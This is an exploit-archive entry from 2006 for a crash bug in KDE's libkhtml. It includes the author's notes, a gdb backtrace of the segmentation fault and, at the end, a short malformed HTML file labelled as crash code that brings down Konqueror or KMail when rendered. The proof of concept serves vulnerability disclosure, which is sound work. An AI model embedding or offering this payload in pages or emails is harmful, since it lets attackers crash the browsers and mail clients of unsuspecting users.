[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : KDE 3.5 (libkhtml) <= 4.2.0 / Unhandled HTML Parse Exception Exploit
# Published : 2006-12-19
# Author : Federico L. Bossi Bonin
# Previous Title : WinFtp Server 2.0.2 (PASV) Remote Denial of Service Exploit
# Next Title : Hewlett-Packard FTP Print Server <= 2.4.5 Buffer Overflow (PoC)
<!--
KDE 3.5 | libkhtml <= 4.2.0 / Unhandled HTML Parse Exception
============================================================
Tested with Konqueror 3.5.2 and kmail 1.9.1
Federico L. Bossi Bonin
fbossi@globalst.com.ar
www.globalst.com.ar
Program received signal SIGSEGV, Segmentation fault.
0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4
#0 0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4
#1 0xb64419e4 in QPtrDict<void>::count () from /usr/kde/3.5/lib/libkhtml.so.4
#2 0xb64b0550 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#3 0xb64b43a2 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#4 0xb63329d5 in DOM::RegisteredListenerList::getHTMLEventListener () from /usr/kde/3.5/lib/libkhtml.so.4
#5 0xbf86ae90 in ?? ()
#6 0x00000001 in ?? ()
#7 0xb736f8ec in ?? () from /usr/qt/3/lib/libqt-mt.so.3
#8 0xb71e36f9 in qt_check_pointer () from /usr/qt/3/lib/libqt-mt.so.3
Previous frame inner to this frame (corrupt stack?)
CRASH CODE:
===========
-->
<HTML>
<HEAD>
<RANGE <COL SPAN <>>
<FRAMESET onload >
</HEAD>
</HTML>
# www.Syue.com [2006-12-19]